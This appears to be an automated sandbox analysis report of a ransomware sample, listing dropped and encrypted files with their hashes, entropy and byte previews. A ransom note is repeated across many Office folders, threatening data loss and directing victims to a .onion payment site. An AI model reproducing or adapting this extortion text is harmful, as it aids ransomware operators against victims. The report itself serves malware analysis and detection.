Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Java\jre-1.8\release

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	479
Entropy (8bit):	6.706490887639818
Encrypted:	false
SSDEEP:	6:TpHgGzExouxHOKgSAFb50XhaV9W7EGmSYbA9CQrvc91r3/MMlkOlzHguC39V7nWF:TGGzUduMQiXEYZ9Cx1r3/8OlzFCSSS
MD5:	38B8A5C2F2404CA6232728312662CD00
SHA1:	95C43317A99271AB6988E45876888355E35ADA5A
SHA-256:	BD403BDDF547E196D70C072330201D58D6FFF1298428622D5AD2B2FBF2F166E1
SHA-512:	75E568EF4A49AC93AF342C3AADC54E3FBF27761DBFDDA2018AB73EE0B8BFF0BD98F916DCFC5EC50BB7C487917684B24ADE91D8D5DA78346D3829E3C738B7623B
Malicious:	false
Preview:	[..C..fS.7=.....h..=.....oO'.K....k.......[..fPF.2.... F.r..N..Y`.ci.......g...W.....>D......f...b....['..+$.D...w..B..3f7df00d44+".BUILD_TYPE="commercial".......M.<#...z.-\|k..j./.Q....e..w..5t...d..w.x..RO2.l.I.ac.^....s....4.8..v..A........{.S.._.........G..;...'B...#<..cVI...:..."\|.lm".p....eK.9q..h...+..{\|...)..F@..=...1..EVU?.P.../`p8^..;...:/3.r!.j.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\KJhbhNJpQgcfzUIZsTbmthJQpaCMYdxFJQpDXUxYKAQfIBmNTLnYTInrCqxdltfOguCKLIF\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\MSBuild\Microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\MSBuild\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\MSECache\OfficeKMS\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\MSECache\OfficeKMS\kms_host.vbs

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41606
Entropy (8bit):	6.838380192677941
Encrypted:	false
SSDEEP:	768:lzAXVWSjb6GaEFqxOjQ+/7djxdt3XJ4WLL8CoH5KgYq6aTbW+ff1E3UXP/zwBAoL:lzAXzt1+05j9LqXa+feUXEN
MD5:	F5CD9D387AD05A316AA6EA8C187296A0
SHA1:	40EE2FA13968A82C697EED84E73F47EF200F0640
SHA-256:	D1E67D3D0A34FAFF6D219CB8DDBAB4B2ED88E918FFEDA30A4C23F8DD59878491
SHA-512:	C1F5DB1DDC816DA328A388017B138D0BFB8751CB7339AE7EFAB15E6B996A69206BAEC17E301FAC75454C94EFBCB36D5821741D6704334D2B98DC9E89F2E6DD08
Malicious:	false
Preview:	.'jt?A.C......<n....s.q.Z...P...=z$.H.-'...jw6..X9>qi..:.~.//////////////////////////////////////////////////////////////////////////////////////..'///////////////////////////////////////.(.4`.\........^(....3..6..MK...X};%...Y"z...6ZN..T8%4}.QQ."..CONST DISM_PARAM_GETVLROLEINFO_VL .= " /online /get-featureinfo /featurename:volumeactivation-full-role /NoRestart"..CONST D.TdD.y!k...bs..#H....P.%.9..BD...Wp4%..H.c0...x5(.[.)`x.F..7.aturename:volumeactivation-full-role /NoRestart"..CONST DISM_PARAM_ENABLEROLE_VMW = " /online /enable-feature /featurena.b.h[.X..A....j..s.`\m...F/..X};%...Y"z...6xk...dg;"....~.//////////////////////////////////////////////////////////..'///////////////////////////////////////////////////////////////////.(.4`.\........^(......JaJ....J..Wr4...V-u....9wd...kh4-....X.0..CONST VALUE_ICON_WARNING =16..CONST wshYesNoDialog =4..CONST VALUE_ICON_QUESTIONMARK .'.;r.A'...ba...0K...._.KpP.-6o..>.Z..

C:\Program Files (x86)\MSECache\OfficeKMS\kms_host.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3559
Entropy (8bit):	7.813664523386796
Encrypted:	false
SSDEEP:	96:9zt9xqp95TcA7ORPdfdHd8e0EkaRDDnQTJTbHHVcLS:9zUdcA6RPdVHoWnQTJnH1cLS
MD5:	EC40447E18B323C4608E964A57031C5A
SHA1:	D9A63E1D86C8E55F6063C00899062A462FA0268B
SHA-256:	6143FE8A1697C452BC97A99C71C4D05FDAE1FA56CB5C735C5E19B9D7C2AAB3B2
SHA-512:	E00CD2DE4F8BD0541EC33C3F52474510F17477A3A9FAABDF10D8A0EC8C96E81C7889A52CAF768391608416A57A38A53CA960B128726DD6F36C03E7E7B809366C
Malicious:	false
Preview:	....%9]WN.X'.f.^......{....??..Huh..;HV.z.k.d..&............co..V.C_T..G.5.a....s.W...'.....}XH..P...[...A....7..8...'?7....].;.hak.9o...]....m.V..i.$...O[B...HA.X.$.i...&.........[..ep...mFM.....3.}....s.Q..=.P...hQ...3ic.C...I......9....Z>(..R^4.H.][S..#d...3....?.W...}._;..Cq\|..@7..4...S......I.........xe...?JZ...+y...A......)....7)..Oat..-.q.{.;.c...-E........[..dr..Xq.ss.3d...C...Y......>%..Pxh..;tw.[.......%...W........7I....J....P....3....s.M... ..L..Qgc..0ip.D...O....6..}..!,2.CG1.:.l.i..K..}....0.J...o.=%..Uzw..2vh.K.F.,..:..$...5&8.DUC...]QS.... .z...c..........<XM...IA.(.%.x...,...........n(A.;.hai.2k...F......)....7)..X}v..[F.m.?.,...(.............8K..).`zi..k .z.@......a...:.....<Q@...UJ.l.?.o...i......F%7..so...#..m..E.).g...:.A..b.P ..iYA..YA.{.k.m...;.........S,.si..V.c.E..C.(./.....m....}\|..Qgc..0na.C...^....[.........[.\|c]..mJPT.FK...p....5.....:..V..-....-.L.{.k.~...........S...tc..V:FJH...^.4.v....'.R..<.P...#....9e

C:\Program Files (x86)\MSECache\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft Office\AppXManifest.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5036098
Entropy (8bit):	6.62122008092402
Encrypted:	false
SSDEEP:	98304:y5WclcLtZPsjkpsb6S1JIQa0g9QGs2PGH9DmZ4ivt68uLkU0:HJzqY0gRz
MD5:	02183DAED6AECFDDF8FC53CEE753C6F1
SHA1:	C4006661B7350069E3D922A129EFF00273CEDAC2
SHA-256:	23EBC38FC9CE28E1F07A8E66DC058972BFBDEF0E28797C42D281C750CF3F54CF
SHA-512:	71A3EDABE18635E8B66D3FFA7276762FBFF0AFA1BD1B45BCC857CE562E032B4134518B0A61A4AD600514A0260CB1005A93E266AA712794128E1D2EE3B369059D
Malicious:	false
Preview:	.%....$.K.rC..._..&Z.^....U...\|....R..B.....k..l.h.S..n .0..8.sleNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.com/.....Ks.[cxL...X..J..V...Q..,...V.I..V..~.E1.'.Q..ku)#T.%.>appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">...<Identity Name="Reserved" Publisher="CN=R......'.K.p_...S.OY......]..-.....C.....D..z.A..w...%(".nC.x.!B-47e8-9721-4577B7F124EA" appv:VersionId="1A8308C7-90D1-4200-B16E-646F163A08E8"/>...<Properties>....<DisplayName>Microsoft Offic.U...V...<yL...P.Se1.2....\..x.....N.=U.@..~.A0./...6mx#>../.UisplayName>....<Description>Reserved</Description>....<Logo>Reserved.jpeg</Logo>....<appv:AppVPackageDescription>No description ......'.D-e]...M.;8Z.P....U...t........z=.D..mFe2...\..wy./..>.de</appv:AppVInProcExt>...</Properties>...<Resources>....<Resource Language="en-us"/>...</Resources>...<Prerequisites>....<OSMinV......}.E~)....T.;.I.R..:c..R.....G..

C:\Program Files (x86)\Microsoft Office\FileSystemMetadata.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	595
Entropy (8bit):	7.003498803857793
Encrypted:	false
SSDEEP:	12:ETTD+Z+i/51jTbKfvTb2pMKjshWP0ERMHGTjh0fr1jTcFBS:ETTDi+mTbKff0FPRk290fJjTiS
MD5:	5AC33D0E9B321F02BC1A974AECD1B083
SHA1:	8068ED43932868FC06929C5784F8E0B3DF5085CC
SHA-256:	AE1B241232F71D1E392B34A32F215A1EA37152E59003B9F6C1BCC158B20BD3AE
SHA-512:	619F03576B57954D10ED7E83637E4E6F540A7D932A62F682A2832628F5CB3646DE1158FCC5D64EA11E8F757F8CB903340338808CCD7F89D9A2B851CBFBB4ADF4
Malicious:	false
Preview:	ky.m..'.......N..#(....g...#..+..C.+8V.^".l....~.W.....\|..$%.e.."P........Sl ....x....fG.o.J..UF...K'/.y.y..J. ...5.##. ..>..........Qnm....}....$..i.[\.@T....KA.-...1~...F...!...).t..~@..........Cz>...........r.k..CQ...Z5k.3...T,......;/.ctories />..</Metadata>.......%.D....6.:no%i.t....X.v...[..]..v\|..$9...........QaW...u...H.t.i.jr.f>&..#.N.....S....;..!u..\..E<.s..:{B{gu.....a...g..^./%....k..=l.\|....[H".CE.G.....j.[.L..Oy.m...g...i.x).?.n._.:....<+f....T.E.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\Microsoft Office\Office16\OSPP.HTM

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	174842
Entropy (8bit):	5.489488834363772
Encrypted:	false
SSDEEP:	3072:e6LjV+VHiMlQy/oeWnJeHab5SqRF6qYMOZeWjNJ/eLfCKZYS1J9BEgPBJYBEOlXO:sWxUUp
MD5:	859B95C2277F0FAEC380D96FA4C6DEB5
SHA1:	6BF26EB96748F0E3B5006E5045A47587AC10C6EA
SHA-256:	4C33102346DB3E399109DADB53B8A692952B7527B64034C3E69AA55C539C8DBD
SHA-512:	8F275F29806DD61C87A701CE02E439051A891B2870E795ACDA34BA54859A2C4D05D7387661B4D97C76EB9EBFFE71E86D77A299EA91E75008730E753C36EED201
Malicious:	false
Preview:	............ULx....4..\|.{.!9.8.uZ..^...)W...V~..4.d..e[..SE....o.s.o.f.t.-.c.o.m.:.v.m.l.".....x.m.l.n.s.:.o.=.".u.r.n.:.s.c.h.e.m.a.s.-.m.i.c.r.o.s.o.f.t.-.c.o.m.:.o.f.f.i.c.e.:.o.f.f.i.c.e.WQ..........UGx...g.G\|.{.!j. .sZ..X...7W...V6..4.d..:[..IE....t.-.c.o.m.:.o.f.f.i.c.e.:.w.o.r.d.".....x.m.l.n.s.:.m.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.o.f.f.i.c.e.ZQ...C.V.K.U.x...7..\|.{X!....xZ..\...)W...Vs..4.d..r[...E....w...w.3...o.r.g./.T.R./.R.E.C.-.h.t.m.l.4.0.".>.........<.h.e.a.d.>.....<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.C.o.n.t.e.n.t.-.T.y.p..Q...........UZx....x..\|.{.!p.5.hZ..]...aW...Vs..4.d..-[...E....i.c.o.d.e.".>.....<.m.e.t.a. .n.a.m.e.=.P.r.o.g.I.d. .c.o.n.t.e.n.t.=.W.o.r.d...D.o.c.u.m.e.n.t.>.....<.m.e.t.a. .n.a.m.e.=.G.e..Q...........U.x....4..\|.{.!p.'."Z..Y...(W...Vt..4.dI..[..HE...1.5.".>.....<.m.e.t.a. .n.a.m.e.=.O.r.i.g.i.n.a.t.o.r. .c.o.n.t.e.n.t.=.".M.i.c.r.o.s.o.f.t. .W.o.r.d. .1.5.".>.....<.l.i.n.k. ..Q....N.$....UQx...3..\|.{Z!l.h.eZ......

C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	107326
Entropy (8bit):	6.574666160371128
Encrypted:	false
SSDEEP:	1536:SVFaUMh34lXFarsJAIjJU1a+UxCfDNGARB+SRQ:SjQ14l1JAIjJ8a+UxCrM4q
MD5:	3573CF84EEFE3BAB7A46697BC737A947
SHA1:	123C330B9B98A9E9467799E2358B22C78EF0256F
SHA-256:	A7569586E7C70C3CA1CA75CD019EB2D978CF1B01083209F73D003FD485BF6C1F
SHA-512:	7A592D473EFAEC4838D5277AB7BE640948CBB44D34B735A77A460F094259DC9D987A6897D6E6CC687633588A9D2300DF780A8D1A44D50A01898FB80435B57BB6
Malicious:	false
Preview:	......-D..X..b.O.l....].... .x.[..&+.....!r..;6q./vL....;k.K/////////////////////////////////////////////////////////////////////////////////////..'////////////////////////////////////////...B.k.Q.._..m...1..........%....g......i5...NW..Wn....Wd.D =0..CONST VALUE_ICON_WARNING =16..CONST wshYesNoDialog =4..CONST VAL......\|/..#...k.L.........p.....BF.....O..R.[..Mt....H.h* =64..CONST HKEY_LOCAL_MACHINE =&H80000002..CONST KEY_SET_VALUE =&H0002..CONST KEY...?..u?..5..b...>........p.....x5......:..\.G.j$......<d.D =1..CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"..CONST STR_SYS32PATH ...M.d.^..P......B....F....).~.B...'.......fI..D.G..V......H..D = "\Microsoft Office\Office16\OSPPREARM.EXE"..CONST STR_OSPPREARMPATH_DEBUG = "\Microsoft Office Debug\.....u.".. ...t.0...$......j..V..

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	162106
Entropy (8bit):	7.334431495390713
Encrypted:	false
SSDEEP:	3072:+Tki2X0AOPSYcFfCVGlXA/oVoNthWclkNO9YtITO131:+l2X0AksvRA6oxWUrTO131
MD5:	29DB3FB3C66BF666E972E84C916D8D03
SHA1:	BC95B4FBBF3FEA4651EF4E4002FB5FE9E11A156E
SHA-256:	C454BD78B28A4C07C7D90F5A71CC3AAE36EAF0D6DEB842B883BA493F962415E4
SHA-512:	60C039A3A14D621C92743568515F1CAB96C759C50834906E648E306C8DAE87B787E50152AD91C305B519A71157B3DC0987845686522E792779CBB319716C0A3D
Malicious:	false
Preview:	F....(VQ..pfjm.c+(....M...../..3..1..."....B.L.?V..B-.. .V..........!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?...........D.^..M.Jqo.._..\....,V....jkZ45....12.a[l.>.vY@....K......H...O........................PE..L...-1.e............... ..........................@..........................`............@..............8VQ..pf...c.(....M..&.../..3..1..."....B.f.?VV.B-.. 'M......8...............................@...............,............................text............................... ..`.rdata..?.....WQ..pf...c.(....M....../..W.zP........@.B.?V..B-.. .W......@....reloc.......@......................@..B.....................................................................................(VQ..pf...c.(....M...../..3..1..."....B.L.?V..B-.. .W.......................................................................................................................................(VQ..pf...c.(....M...../..3..1...

C:\Program Files (x86)\Microsoft Office\Office16\SLERROR.XML

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	36650
Entropy (8bit):	6.4964804945715064
Encrypted:	false
SSDEEP:	384:0tJhdlBKDjb85oraT4N3JObmPXCNVSxidktVMWIB1COvhwF6VuzGWgNcv+cenYmp:c0ZXCy74zCEMZsxaji2O9B7kDP0z
MD5:	A6984319DF7A3308C52C493921B99EB2
SHA1:	A2D89AAB62ABC9F21103BAF18949475D11A76CDB
SHA-256:	9140F8E55129D8DE2CEA90C8F1FE5B6666A1DD148639186868797D032C86BE55
SHA-512:	5B5AB744D344645847C1A5A01AD44F54C6F70735CF486AF407307FDF63952739AB60255CF93FAFD9CF1D8912BF69A88CA001697DA620CB1E0CB0535A997A4C0F
Malicious:	false
Preview:	p.....a{..j../.0^...Vp..."...7......m.[.=....x[^..y...4.T...fY..the license is invalid.</err0xC004B001>..<err0xC004B002>The activation server determined that the license is invalid.</err0xC004....l.4......C0....Q..B.<...~......9.Q.k....x]...d...}.Y...zP..license is invalid.</err0xC004B003>..<err0xC004B004>The activation server determined that the license is invalid.</err0xC004B004r.....t8..P...C0..qZ...I.u...~..M...o.F.y....p@...-..).E...bQ.Jnse is invalid.</err0xC004B005>..<err0xC004B006>The activation server determined that the license is invalid.</err0xC004B006>..<)...."68..P..c'hC.DQ.[.K.u...d.....k.D.o...PiA...y.H>.\..kJ.Lould not connect to the activation server.</err0xC004B007>..<err0xC004B008>The activation server determined that the product cou ...&j..I.4.aR.A.^..X.,..'..].......o...3-.J..=..<5.....gN.[ion server determined that the license is invalid.</err0xC004B009>..<err0xC004B010>The activation server determined that require(....hm..@^.6.n..KF.K.I.r...7..M...w...

C:\Program Files (x86)\Microsoft Office\Office16\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft Office\Office16\vNextDiag.ps1

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	22164
Entropy (8bit):	7.2403436218126815
Encrypted:	false
SSDEEP:	384:AwXbRkAL7HVTyq0F5GPYW0eGVEIPtA35gKB7J94Owzvv5/u8Nns5ibjM4sVydkwY:3bRbHyDGwTeGVEI+35J43zp/u8Nns5Ii
MD5:	030A8943244E1A474BCC6751DD5FAAC9
SHA1:	1EED6B6B90F120FC8D1285DC8AB518CB677D5C0E
SHA-256:	A57289721FC3367422DD3108159A6B2E028F7AAB8E60DCC290D1C436960D8CD3
SHA-512:	6241E2E201320E67525F847D55AAA5C085FA9486E468A16EDD60E49BA96463E8107F708CDF94E70B99A3F213CE16B40F8E6E9DB3A37F8A66EA738C2E50F0AB60
Malicious:	false
Preview:	,.....A..-.T....]]......;57...Va.d..1u.QP...H.>..c...n.." k...of the state of Office licenses..# as well as some basic management of licenses...#..# version 1.0.0....param ($action='list', $c.....P..epp..@z9......=36...A$..b..<t..K.j.J.=......C.."q...xost...Write-Host "========== Mode per ProductReleaseId ==========".....$vNextRegkey = "HKCU:\SOFTWARE\Microsoft\Office\16.0\Comm`.5...P..%....Ol2......7.z..b.7.h..'y......H.c..c......+p<...HtRegkey -ErrorAction Ignore \| Select-Object -ExpandProperty 'property' \| Where-Object -FilterScript {$_.ToLower() -like "*retail-.D.......6..C}.W......oxr...P,..m..X..8B...[.+..V...=..!8..\l)...{....Write-Host "No registry keys found."....Return...}.....$vNextPrids \| ForEach `...{....$mode = (Get-ItemProperty -Path +.'...g..'....hn:...'...WR..b,..d..u8..K.]. .G.....G..8p<..U = "vNext"; Break }.....3 { $mode = "Device"; Break }.....Default { $mode = "Legacy"; Break }....}......Write-Host $_ = $mode...r.c...8.9....Iaw.......(=...H1.u..<s.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0015-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322907
Entropy (8bit):	6.37615023849248
Encrypted:	false
SSDEEP:	1536:5GYcAh5aRJuAZkhggI6j51GokoCHv5JA1t8fnk0wVIlgDQsWyQtiEm3/oj3:YMsu8cg+j51G8p8/ktaaDQsWptmvI3
MD5:	9F13083EFE1148183FB62600A3B0CC31
SHA1:	B80ADD876174B87E8A4BE8CFFD541928DA45A86C
SHA-256:	088A2E10693414E38E46E199ED6C2BBFC1C76EFFD92CE340A9EEB68377F776E4
SHA-512:	D76D7B195F6013DB63DD35FF4F219F4A882D1F889A5D5C7A6A9224C885FC47FDEC9150B1F89FD72D40690D29EC78E7E9333D5FB07437036DD53FFD1CF194EDE1
Malicious:	false
